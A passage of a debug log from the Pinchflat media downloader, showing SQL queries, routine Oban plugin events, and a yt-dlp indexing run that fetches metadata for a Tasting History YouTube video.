livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:08:37.264 [debug] QUERY OK source="media_items" db=0.8ms idle=492.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:08:37.264 [debug] QUERY OK source="sources" db=0.2ms idle=19.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 02:08:37.264 [debug] Replied in 16ms 02:08:37.266 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "W-75iGNzfVvxGR58K1umQqqC"} 02:08:37.267 [debug] QUERY OK source="tasks" db=0.2ms idle=21.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:08:37.267 [debug] Replied in 627µs 02:08:37.267 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "W-75iGNzfVvxGR58K1umQqqC"} 02:08:37.267 [debug] Replied in 103µs 02:08:47.541 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.955 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:09:17.542 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:47.543 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.956 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:10:17.544 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:47.545 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.957 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:11:17.546 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:47.547 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.958 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:12:17.548 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:47.549 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.959 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:13:17.550 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:47.551 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.960 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:14:17.553 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:47.554 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.961 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:15:17.556 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:47.557 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.962 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:16:17.559 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:47.560 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.963 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:17:17.561 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:47.562 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.965 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:18:17.563 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:47.564 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.965 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:19:17.565 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:47.567 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.966 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:20:17.568 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:47.569 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.967 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:21:17.571 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:47.572 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.968 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:22:17.573 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:47.574 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.970 [info] {"source":"oban","duration":334,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:23:17.575 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:47.576 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.970 [info] {"source":"oban","duration":305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:24:17.577 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:47.578 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.971 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:25:17.579 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:47.580 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.972 [info] {"source":"oban","duration":126,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:26:17.582 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:47.584 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.973 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:27:17.585 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:47.587 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.974 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:28:17.588 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:47.590 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.975 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:29:17.591 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:47.592 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.977 [info] {"source":"oban","duration":449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:30:17.593 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:47.595 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.977 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:31:17.596 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:47.597 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.978 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:32:17.599 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:47.600 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.979 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:33:17.601 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:47.602 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 02:34:00.980 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:34:17.604 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:47.606 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.981 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:35:17.607 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:47.608 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.982 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:36:17.609 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:47.610 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.983 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:37:17.611 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:47.612 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.984 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:38:17.613 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:47.614 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.985 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:39:17.615 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:47.616 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.986 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:40:17.618 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:47.619 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.987 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:41:17.620 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:47.621 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.988 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:42:17.623 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:47.625 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.989 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:43:17.627 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:47.628 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.990 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:44:17.630 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:47.631 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.991 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:45:17.632 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:47.633 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.993 [info] {"source":"oban","duration":318,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:46:17.634 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:47.635 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.994 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:47:17.636 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:47.637 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.994 [info] {"source":"oban","duration":339,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:48:17.639 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:47.641 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.995 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:49:17.642 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:47.643 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.996 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:50:17.643 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:47.645 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.997 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:51:17.646 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:41.714 [info] {"args":{"id":3},"id":1717,"meta":{},"system_time":1774939901714407146,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:51:41.715 [debug] QUERY OK source="sources" db=0.2ms idle=322.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:41.715 [debug] QUERY OK source="settings" db=0.2ms idle=323.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:41.721 [debug] QUERY OK source="media_items" db=6.3ms idle=323.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:51:41.722 [debug] QUERY OK source="media_items" db=0.3ms idle=14.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:51:41.722 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:41.723 [debug] QUERY OK source="settings" db=0.1ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:41.723 [debug] QUERY OK source="settings" db=0.0ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:41.725 [debug] QUERY OK source="media_items" db=1.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 02:51:41.731 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 02:51:41.731 [debug] Current batch of media processed. Will check again in 1000ms 02:51:41.731 [debug] QUERY OK source="settings" db=0.1ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:41.732 [debug] QUERY OK source="settings" db=0.0ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:41.732 [debug] QUERY OK source="settings" db=0.1ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:41.732 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/6a/a1/6aa1801202f64f5f35dd37e0ed45530c191e37f37c1ff9b42f4913e6c3736655.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3d/98/3d9809f5c309b90b453636446a6398c01ad250ccc4db8ee1df32f01cf59dd77b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:42.732 [debug] Current batch of media processed. Will check again in 1000ms 02:51:43.733 [debug] Current batch of media processed. Will check again in 1000ms 02:51:44.734 [debug] Current batch of media processed. Will check again in 1000ms 02:51:45.735 [debug] Current batch of media processed. Will check again in 1000ms 02:51:46.736 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1375, "filename" => "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", "id" => "_iGppK9by3Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_iGppK9by3Y", "playlist_index" => 1, "timestamp" => 1774364466, "title" => "The Brutal Life of a Medieval Butcher", "upload_date" => "20260324"} 02:51:46.737 [debug] QUERY OK source="sources" db=0.2ms idle=1345.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:46.737 [debug] QUERY OK source="sources" db=0.1ms idle=1345.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 